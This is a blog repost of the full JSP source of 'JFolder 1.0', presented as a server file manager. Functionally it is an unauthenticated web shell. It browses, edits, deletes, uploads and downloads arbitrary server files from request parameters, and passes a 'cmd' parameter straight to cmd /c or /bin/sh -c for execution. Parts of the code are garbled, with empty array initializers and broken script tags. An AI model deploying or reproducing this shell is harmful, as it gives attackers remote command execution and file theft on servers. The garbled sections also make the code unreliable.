慈勤强的JFolder1.0版代码(JSP)

这个版本主要是兼容了Unix、Linux等操作系统，真正的不再受系统平台的限制。
在0.9测试版发布以后，很多朋友都给了我很好的意见和建议，
对于日常的应用，这个版本应该足够了
在下一个版本中，会增加更多的功能。
在此感谢 Boris von Loesch,古典Lam,CitySuSu等人的帮助

<%
/**
JFileMan V1.0windows platform
@Filename： JFolderp
@Description：一个简单的系统文件目录显示程序，类似于资源管理器，提供基本的文件操作，不过功能弱多了。
@Author： Steven Cee
@Email ： cqq1978@Gmail.com
@Bugs:下载时，中文文件名无法正常显示；Unix操作系统上传
*/
%>
<%@page errorPage="/"%>
<%@page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=1; //Language,0 : Chinese; 1:English
String strThisFile="JFileManp";
String strSeparator = File.separator;
String[] authorInfo={" <font color=red> 写的不好，将就着用吧 - - by 慈勤强 http://www.topronet.com </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.topronet.com </font>"};
String[] strFileManage = {"文件管理","File Management"};
String[] strCommand= {"CMD 命令","Command Window"};
String[] strSysProperty= {"系统属性","System Property"};
String[] strHelp = {"帮助","Help"};
String[] strParentFolder = {"上级目录","Parent Folder"};
String[] strCurrentFolder= {"当前目录","Current Folder"};
String[] strDrivers= ;
String[] strFileName = {"文件名称","File Name"};
String[] strFileSize = {"文件大小","File Size"};
String[] strLastModified = {"最后修改","Last Modified"};
String[] strFileOperation= ;
String[] strFileEdit = ;
String[] strFileDown = ;
String[] strFileCopy = ;
String[] strFileDel= ;
String[] strExecute= ;
String[] strBack = ;
String[] strFileSave = ;

public class FileHandler
{
private String strAction="";
private String strFile="";
void FileHandler(String action,String f)
{

}
}

public static class UploadMonitor {

static Hashtable uploadTable = new Hashtable();

static void set(String fName, UplInfo info) {
uploadTable.put(fName, info);
}

static void remove(String fName) {
uploadTable.remove(fName);
}

static UplInfo getInfo(String fName) {
UplInfo info = (UplInfo) uploadTable.get(fName);
return info;
}
}

public class UplInfo {

public long totalSize;
public long currSize;
public long starttime;
public boolean aborted;

public UplInfo() {
totalSize = 0l;
currSize = 0l;
starttime = System.currentTimeMillis();
aborted = false;
}

public UplInfo(int size) {
totalSize = size;
currSize = 0;
starttime = System.currentTimeMillis();
aborted = false;
}

public String getUprate() {
long time = System.currentTimeMillis() - starttime;
if (time != 0) {
 long uprate = currSize * 1000 / time;
 return convertFileSize(uprate) + "/s";
}
else return "n/a";
}

public int getPercent() {
if (totalSize == 0) return 0;
else return (int) (currSize * 100 / totalSize);
}

public String getTimeElapsed() {
long time = (System.currentTimeMillis() - starttime) / 1000l;
if (time - 60l >= 0){
 if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
 else return time / 60 + ":0" + (time % 60) + "m";
}
else return time<10 ? "0" + time + "s": time + "s";
}

public String getTimeEstimated() {
if (currSize == 0) return "n/a";
long time = System.currentTimeMillis() - starttime;
time = totalSize * time / currSize;
time /= 1000l;
if (time - 60l >= 0){
 if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
 else return time / 60 + ":0" + (time % 60) + "m";
}
else return time<10 ? "0" + time + "s": time + "s";
}

}

public class FileInfo {

public String name = null, clientFileName = null, fileContentType = null;
private byte[] fileContents = null;
public File file = null;
public StringBuffer sb = new StringBuffer(100);

public void setFileContents(byte[] aByteArray) {
fileContents = new byte[aByteArray.length];
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
}
}

// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {

private final String lineSeparator = System.getProperty("line.separator", "\n");
private final int ONE_MB = 1024 * 1;

public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
 int clength) throws IllegalArgumentException, IOException {
if (is == null) throw new IllegalArgumentException("InputStream");
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
"\"" + boundary + "\" is an illegal boundary indicator");
boundary = "--" + boundary;
StringTokenizer stLine = null, stFields = null;
FileInfo fileInfo = null;
Hashtable dataTable = new Hashtable(5);
String line = null, field = null, paramName = null;
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
boolean isFile = false;
if (saveFiles) { // Create the required directory (including parent dirs)
 File f = new File(saveInDir);
 f.mkdirs();
}
line = getLine(is);
if (line == null || !line.startsWith(boundary)) throw new IOException(
"Boundary not found; boundary = " + boundary + ", line = " + line);
while (line != null) {
 if (line == null || !line.startsWith(boundary)) return dataTable;
 line = getLine(is);
 if (line == null) return dataTable;
 stLine = new StringTokenizer(line, ";\r\n");
 if (stLine.countTokens() < 2) throw new IllegalArgumentException(
 "Bad data in second line");
 line = stLine.nextToken().toLowerCase();
 if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
 "Bad data in second line");
 stFields = new StringTokenizer(stLine.nextToken(), "=\"");
 if (stFields.countTokens() < 2) throw new IllegalArgumentException(
 "Bad data in second line");
 fileInfo = new FileInfo();
 stFields.nextToken();
 paramName = stFields.nextToken();
 isFile = false;
 if (stLine.hasMoreTokens()) {
field = stLine.nextToken();
stFields = new StringTokenizer(field, "=\"");
if (stFields.countTokens() > 1) {
 if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
fileInfo.name = paramName;
String value = stFields.nextToken();
if (value != null && value.trim().length() > 0) {
 fileInfo.clientFileName = value;
 isFile = true;
}
else {
 line = getLine(is); // Skip "Content-Type:" line
 line = getLine(is); // Skip blank line
 line = getLine(is); // Skip blank line
 line = getLine(is); // Position to boundary line
 continue;
}
 }
}
else if (field.toLowerCase().indexOf("filename") >= 0) {
 line = getLine(is); // Skip "Content-Type:" line
 line = getLine(is); // Skip blank line
 line = getLine(is); // Skip blank line
 line = getLine(is); // Position to boundary line
 continue;
}
 }
 boolean skipBlankLine = true;
 if (isFile) {
line = getLine(is);
if (line == null) return dataTable;
if (line.trim().length() < 1) skipBlankLine = false;
else {
 stLine = new StringTokenizer(line, ": ");
 if (stLine.countTokens() < 2) throw new IllegalArgumentException(
 "Bad data in third line");
 stLine.nextToken(); // Content-Type
 fileInfo.fileContentType = stLine.nextToken();
}
 }
 if (skipBlankLine) {
line = getLine(is);
if (line == null) return dataTable;
 }
 if (!isFile) {
line = getLine(is);
if (line == null) return dataTable;
dataTable.put(paramName, line);
// If parameter is dir, change saveInDir to dir
if (paramName.equals("dir")) saveInDir = line;
line = getLine(is);
continue;
 }
 try {
UplInfo uplInfo = new UplInfo(clength);
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
OutputStream os = null;
String path = null;
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
fileInfo.clientFileName));
else os = new ByteArrayOutputStream(ONE_MB);
boolean readingContent = true;
byte previousLine[] = new byte[2 * ONE_MB];
byte temp[] = null;
byte currentLine[] = new byte[2 * ONE_MB];
int read, read3;
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
 line = null;
 break;
}
while (readingContent) {
 if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
line = null;
uplInfo.aborted = true;
break;
 }
 if (compareBoundary(boundary, currentLine)) {
os.write(previousLine, 0, read - 2);
line = new String(currentLine, 0, read3);
break;
 }
 else {
os.write(previousLine, 0, read);
uplInfo.currSize += read;
temp = currentLine;
currentLine = previousLine;
previousLine = temp;
read = read3;
 }//end else
}//end while
os.flush();
os.close();
if (!saveFiles) {
 ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
 fileInfo.setFileContents(baos.toByteArray());
}
else fileInfo.file = new File(path);
dataTable.put(paramName, fileInfo);
uplInfo.currSize = uplInfo.totalSize;
 }//end try
 catch (IOException e) {
throw e;
 }
}
return dataTable;
}

/**
* Compares boundary string to byte array
*/
private boolean compareBoundary(String boundary, byte ba[]) {
byte b;
if (boundary == null || ba == null) return false;
for (int i = 0; i < boundary.length(); i++)
 if ((byte) boundary.charAt(i) != ba[i]) return false;
return true;
}

/** Convenience method to read HTTP header lines */
private synchronized String getLine(ServletInputStream sis) throws IOException {
byte b[] = new byte[1024];
int read = sis.readLine(b, 0, b.length), index;
String line = null;
if (read != -1) {
 line = new String(b, 0, read);
 if ((index = line.indexOf(’\n’)) >= 0) line = line.substring(0, index - 1);
}
return line;
}

public String getFileName(String dir, String fileName) throws IllegalArgumentException {
String path = null;
if (dir == null || fileName == null) throw new IllegalArgumentException(
"dir or fileName is null");
int index = fileName.lastIndexOf(’/’);
String name = null;
if (index >= 0) name = fileName.substring(index + 1);
else name = fileName;
index = name.lastIndexOf(’\\’);
if (index >= 0) fileName = name.substring(index + 1);
path = dir + File.separator + fileName;
if (File.separatorChar == ’/’) return path.replace(’\\’, File.separatorChar);
else return path.replace(’/’, File.separatorChar);
}
} //End of class HttpMultiPartParser

String formatPath(String p)
{
StringBuffer sb=new StringBuffer();
for (int i = 0; i < p.length(); i++)
{
if(p.charAt(i)==’\\’)
{
sb.append("\\\\");
}
else
{
sb.append(p.charAt(i));
}
}
return sb.toString();
}

/**
* Converts some important chars (int) to the corresponding html string
*/
static String conv2Html(int i) {
if (i == ’&’) return "&";
else if (i == ’<’) return "<";
else if (i == ’>’) return ">";
else if (i == ’"’) return """;
else return "" + (char) i;
}

/**
* Converts a normal string to a html conform string
*/
static String htmlEncode(String st) {
StringBuffer buf = new StringBuffer();
for (int i = 0; i < st.length(); i++) {
buf.append(conv2Html(st.charAt(i)));
}
return buf.toString();
}
String getDrivers()
/**
Windows系统上取得可用的所有逻辑盘
*/
{
StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
File roots[]=File.listRoots();
for(int i=0;i<roots.length;i++)
{
sb.append(" <a href=\"javascript:doForm(’’,’"+roots[i]+strSeparator+"’,’’,’’,’1’,’’);\">");
sb.append(roots[i]+"</a> ");
}
return sb.toString();
}
static String convertFileSize(long filesize)
{
//bug 5.09M 显示5.9M
String strUnit="Bytes";
String strAfterComma="";
int intDivisor=1;
if(filesize>=1024*1024)
{
strUnit = "MB";
intDivisor=1024*1024;
}
else if(filesize>=1024)
{
strUnit = "KB";
intDivisor=1024;
}
if(intDivisor==1) return filesize + " " + strUnit;
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
if(strAfterComma=="") strAfterComma=".0";
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}
%>
<%
request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + strSeparator + strFile;
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit=new StringBuffer("");
StringBuffer sbDown=new StringBuffer("");
StringBuffer sbCopy=new StringBuffer("");
StringBuffer sbSaveCopy=new StringBuffer("");
StringBuffer sbNewFile=new StringBuffer("");
String strOS = System.getProperty("os.name").toLowerCase();
//out.print(strPath);
if((tabID==null) || tabID.equals(""))
{
tabID = "1";
}

if(strDir==null||strDir.length()<1)
{
strDir = request.getRealPath(".");
}

if(strAction!=null && strAction.equals("down"))
{
File f=new File(strPath);
if(f.length()==0)
{
sbDown.append("文件大小为 0 字节，就不用下了吧");
}
else
{
response.setHeader("content-type","text/html; charset=ISO-8859-1");
response.setContentType("APPLICATION/OCTET-STREAM");
response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
out.clearBuffer();
int i;
while ((i=fileInputStream.read()) != -1)
{
out.write(i);
}
fileInputStream.close();
out.close();
}
}

if(strAction!=null && strAction.equals("del"))
{
File f=new File(strPath);
f.delete();
}

if(strAction!=null && strAction.equals("edit"))
{
File f=new File(strPath);
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
sbEdit.append("<form name=’frmEdit’ action=’’ method=’POST’>\r\n");
sbEdit.append("<input type=hidden name=action value=save >\r\n");
sbEdit.append("<input type=hidden name=path value=’"+strDir+"’ >\r\n");
sbEdit.append("<input type=hidden name=file value=’"+strFile+"’ >\r\n");
sbEdit.append("<input type=submit name=save value=’ "+strFileSave[languageNo]+" ’> ");
sbEdit.append("<input type=button name=goback value=’ "+strBack[languageNo]+" ’ onclick=’history.back(-1);’> "+strPath+"\r\n");
sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
String line="";
while((line=br.readLine())!=null)
{
sbEdit.append(htmlEncode(line)+"\r\n");
}
sbEdit.append("</textarea>");
sbEdit.append("<input type=hidden name=path value="+strDir+">");
sbEdit.append("</form>");
}

if(strAction!=null && strAction.equals("save"))
{
File f=new File(strPath);
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
String strContent=request.getParameter("content");
bw.write(strContent);
bw.close();
}
if(strAction!=null && strAction.equals("copy"))
{
File f=new File(strPath);
sbCopy.append("<br><form name=’frmCopy’ action=’’ method=’POST’>\r\n");
sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
sbCopy.append("<input type=hidden name=path value=’"+strDir+"’ >\r\n");
sbCopy.append("<input type=hidden name=file value=’"+strFile+"’ >\r\n");
sbCopy.append("原始文件： "+strPath+"<p>");
sbCopy.append("目标文件： <input type=text name=file2 size=40 value=’"+strDir+"’><p>");
sbCopy.append("<input type=submit name=save value=’ "+strFileCopy[languageNo]+" ’> ");
sbCopy.append("<input type=button name=goback value=’ "+strBack[languageNo]+" ’ onclick=’history.back(-1);’> <p> \r\n");
sbCopy.append("</form>");
}
if(strAction!=null && strAction.equals("savecopy"))
{
File f=new File(strPath);
String strDesFile=request.getParameter("file2");
if(strDesFile==null || strDesFile.equals(""))
{
sbSaveCopy.append("<p><font color=red>目标文件错误。</font>");
}
else
{
File f_des=new File(strDesFile);
if(f_des.isFile())
{
sbSaveCopy.append("<p><font color=red>目标文件已存在,不能复制。</font>");
}
else
{
String strTmpFile=strDesFile;
if(f_des.isDirectory())
{
 if(!strDesFile.endsWith(strSeparator))
 {
strDesFile=strDesFile+strSeparator;
 }
 strTmpFile=strDesFile+"cqq_"+strFile;
 }

File f_des_copy=new File(strTmpFile);
FileInputStream in1=new FileInputStream(f);
FileOutputStream out1=new FileOutputStream(f_des_copy);
byte[] buffer=new byte[1024];
int c;
while((c=in1.read(buffer))!=-1)
{
 out1.write(buffer,0,c);
}
in1.close();
out1.close();

sbSaveCopy.append("原始文件："+strPath+"<p>");
sbSaveCopy.append("目标文件："+strTmpFile+"<p>");
sbSaveCopy.append("<font color=red>复制成功！</font>");
}
}
sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick=’history.back(-2);’ value=返回>");
}
if(strAction!=null && strAction.equals("newFile"))
{
String strF=request.getParameter("fileName");
String strType1=request.getParameter("btnNewFile");
String strType2=request.getParameter("btnNewDir");
String strType="";
if(strType1==null)
{
strType="Dir";
}
else if(strType2==null)
{
strType="File";
}
if(!strType.equals("") && !(strF==null || strF.equals("")))
{
File f_new=new File(strF);
if(strType.equals("File") && !f_new.createNewFile())
 sbNewFile.append(strF+" 文件创建失败");
if(strType.equals("Dir") && !f_new.mkdirs())
 sbNewFile.append(strF+" 目录创建失败");
}
else
{
sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
}
}

if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
{
String tempdir=".";
boolean error=false;
response.setContentType("text/html");
HttpMultiPartParser parser = new HttpMultiPartParser();

int bstart = request.getContentType().lastIndexOf("oundary=");
String bound = request.getContentType().substring(bstart + 8);
int clength = request.getContentLength();
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
if (ht.get("cqqUploadFile") != null)
{

FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
File f1 = fi.file;
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
if (info != null && info.aborted)
{
f1.delete();
request.setAttribute("error", "Upload aborted");
}
else
{
String path = (String) ht.get("path");

if(path!=null && !path.endsWith(strSeparator))
 path = path + strSeparator;
 strDir = path;
//out.println(path + f1.getName());
if (!f1.renameTo(new File(path + f1.getName())))
{
 request.setAttribute("error", "Cannot upload file.");
 out.println("error,upload ");
 error = true;
 f1.delete();
}
}
}
}
%>
<html>
<head>
<style type="text/css">
td,select,input,body
A { TEXT-DECORATION: none }

#tablist{
padding: 5px 0;
margin-left: 0;
margin-bottom: 0;
margin-top: 0.1em;
font:9pt;
}

#tablist li{
list-style: none;
display: inline;
margin: 0;
}

#tablist li a{
padding: 3px 0.5em;
margin-left: 3px;
border: 1px solid ;
background: F6F6F6;
}

#tablist li a:link, #tablist li a:visited{
color: navy;
}

#tablist li a.current{
background: #EAEAFF;
}

#tabcontentcontainer{
width: 100%;
padding: 5px;
border: 1px solid black;
}

.tabcontent{
display:none;
}

</style>

var initialtab=[<%=tabID%>, "menu<%=tabID%>"]

////////Stop editting////////////////

function cascadedstyle(el, cssproperty, csspropertyNS){
if (el.currentStyle)
return el.currentStyle[cssproperty]
else if (window.getComputedStyle){
var elstyle=window.getComputedStyle(el, "")
return elstyle.getPropertyValue(csspropertyNS)
}
}

var previoustab=""

function expandcontent(cid, aobject){
if (document.getElementById){
highlighttab(aobject)
if (previoustab!="")
document.getElementById(previoustab).style.display="none"
document.getElementById(cid).style.display="block"
previoustab=cid
if (aobject.blur)
aobject.blur()
return false
}
else
return true
}

function highlighttab(aobject){
if (typeof tabobjlinks=="undefined")
collecttablinks()
for (i=0; i<tabobjlinks.length; i++)
tabobjlinks[i].style.backgroundColor=initTabcolor
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
}

function collecttablinks(){
var tabobj=document.getElementById("tablist")
tabobjlinks=tabobj.getElementsByTagName("A")
}

function do_onload(){
collecttablinks()
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
}

if (window.addEventListener)
window.addEventListener("load", do_onload, false)
else if (window.attachEvent)
window.attachEvent("onload", do_onload)
else if (document.getElementById)
window.onload=do_onload

</script>
<script language="javascript">

<title>JFoler 1.0 ---A jsp based web folder management tool by Steven Cee</title>
<head>

<body>

<ul id="tablist">
<li><a href="http://www.topronet.com" class="current" onClick="return expandcontent(’menu1’, this)"> <%=strFileManage[languageNo]%> </a></li>
<li><a href="new.htm" onClick="return expandcontent(’menu2’, this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
<li><a href="hot.htm" onClick="return expandcontent(’menu3’, this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
<li><a href="search.htm" onClick="return expandcontent(’menu4’, this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
<%=authorInfo[languageNo]%>
</ul>

<%
StringBuffer sbFolder=new StringBuffer("");
StringBuffer sbFile=new StringBuffer("");
try
{
File objFile = new File(strDir);
File list[] = objFile.listFiles();
if(objFile.getAbsolutePath().length()>3)
{
sbFolder.append("<tr><td > </td><td><a href=\"javascript:doForm(’’,’"+formatPath(objFile.getParentFile().getAbsolutePath())+"’,’’,’"+strCmd+"’,’1’,’’);\">");
sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");

}
for(int i=0;i<list.length;i++)
{
if(list[i].isDirectory())
{
sbFolder.append("<tr><td > </td><td>");
sbFolder.append("<a href=\"javascript:doForm(’’,’"+formatPath(list[i].getAbsolutePath())+"’,’’,’"+strCmd+"’,’1’,’’);\">");
sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
}
else
{
 String strLen="";
String strDT="";
long lFile=0;
lFile=list[i].length();
strLen = convertFileSize(lFile);
Date dt=new Date(list[i].lastModified());
strDT=dt.toLocaleString();
sbFile.append("<tr onmouseover=\"this.style.backgroundColor=’#FBFFC6’\" onmouseout=\"this.style.backgroundColor=’white’\"><td>");
sbFile.append(""+list[i].getName());
sbFile.append("</td><td>");
sbFile.append(""+strLen);
sbFile.append(", ;</td><td>");
sbFile.append(""+strDT);
sbFile.append("</td><td>");

sbFile.append(" <a href=\"javascript:doForm(’edit’,’"+formatPath(strDir)+"’,’"+list[i].getName()+"’,’"+strCmd+"’,’"+tabID+"’,’’);\">");
sbFile.append(strFileEdit[languageNo]+"</a> ");

sbFile.append(" <a href=\"javascript:doForm(’del’,’"+formatPath(strDir)+"’,’"+list[i].getName()+"’,’"+strCmd+"’,’"+tabID+"’,’’);\">");
sbFile.append(strFileDel[languageNo]+"</a> ");

sbFile.append(" <a href=\"javascript:doForm(’down’,’"+formatPath(strDir)+"’,’"+list[i].getName()+"’,’"+strCmd+"’,’"+tabID+"’,’’);\">");
sbFile.append(strFileDown[languageNo]+"</a> ");

sbFile.append(" <a href=\"javascript:doForm(’copy’,’"+formatPath(strDir)+"’,’"+list[i].getName()+"’,’"+strCmd+"’,’"+tabID+"’,’’);\">");
sbFile.append(strFileCopy[languageNo]+"</a> ");
}

}
}
catch(Exception e)
{
out.println("<font color=red>操作失败： "+e.toString()+"</font>");
}
%>

<br>

</div>

<div id="menu4" class="tabcontent">
<br>
<p>一、功能说明</p>
<p>    jsp 版本的文件管理器，通过该程序可以远程管理服务器上的文件系统，您可以新建、修改、</p>
<p>删除、下载文件和目录。对于windows系统，还提供了命令行窗口的功能，可以运行一些程序，类似</p>
<p>与windows的cmd。</p>
<p> </p>
<p>二、测试</p>
<p>   <b>请大家在使用过程中，有任何问题，意见或者建议都可以给我留言，以便使这个程序更加完善和稳定，<p>
留言地址为：<a href="http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx" target="_blank">http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx</a></b>
<p> </p>
<p>三、更新记录</p>
<p>    2004.11.29 V1.0测试版发布，修正了Linux系统上的一些问题，在Linux系统上也可以使用。</p>
<p>    2004.11.15 V0.9测试版发布，增加了一些基本的功能，文件编辑、复制、删除、下载、上传以及新建文件目录功能</p>
<p>    2004.10.27 暂时定为0.6版吧，提供了目录文件浏览功能和 cmd功能</p>
<p>    2004.09.20 第一个jsp 程序就是这个简单的显示目录文件的小程序</p>
<p> </p>
<p> </p>
</div>

<div id="menu1" class="tabcontent">
<%
out.println("<table border=’1’ width=’100%’ bgcolor=’#FBFFC6’ cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width=’30%’>"+strCurrentFolder[languageNo]+"： <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">

 <tr>
 <td width="25%" align="center" valign="top">
 <table width="98%" border="0" cellspacing="0" cellpadding="3">
<%=sbFolder%>
 </tr>
 </table>
 </td>
 <td width="81%" align="left" valign="top">

<%
if(strAction!=null && strAction.equals("edit"))
{
out.println(sbEdit.toString());
}
else if(strAction!=null && strAction.equals("copy"))
{
out.println(sbCopy.toString());
}
else if(strAction!=null && strAction.equals("down"))
{
out.println(sbDown.toString());
}
else if(strAction!=null && strAction.equals("savecopy"))
{
out.println(sbSaveCopy.toString());
}
else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
{
out.println(sbNewFile.toString());
}
else
{
%>
<span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
 <tr bgcolor="#E7e7e6">
 <td width="26%"><%=strFileName[languageNo]%></td>
 <td width="19%"><%=strFileSize[languageNo]%></td>
 <td width="29%"><%=strLastModified[languageNo]%></td>
 <td width="26%"><%=strFileOperation[languageNo]%></td>
 </tr>
 <%=sbFile%>

 </table>
</span>
<%
}
%>

 </td>
 </tr>

<%
String line="";
StringBuffer sbCmd=new StringBuffer("");

if(strCmd!=null)
{
try
{
//out.println(strCmd);
String[] strShell=new String[2];
if(strOS.startsWith("win"))
{
strShell[0]="cmd";
strShell[1]="/c";
}
else
{
strShell[0]="/bin/sh";
strShell[1]="-c";
}
String[] strCommand=new String[3];
strCommand[0]=strShell[0];
strCommand[1]=strShell[1];
strCommand[2]=strCmd;
System.out.println(strCommand);
Process p=Runtime.getRuntime().exec(strCommand,null,new File(strDir));
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null)
{
sbCmd.append(line+"\r\n");
}
}
catch(Exception e)
{
System.out.println(e.toString());
}
}
else
{
strCmd = "set";
}

%>
<form name="cmd" action="" method="post">

<input type="text" name="cmd" value="<%=strCmd%>" size=50>
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="path" value="<%=strDir%>">
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
</form>
<%
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
{
%>
<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<br>
<%
}
%>
</DIV>
</div>
<br><br>
<center><a href="http://www.topronet.com" target="_blank">www.topronet.com</a> ,All Rights Reserved.
<br>Any question, please email me cqq1978@Gmail.com

posted on 2006-05-11 10:46 卓如阅读(1220) 评论(0) 编辑收藏举报

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慈勤强的JFolder1.0版代码(JSP)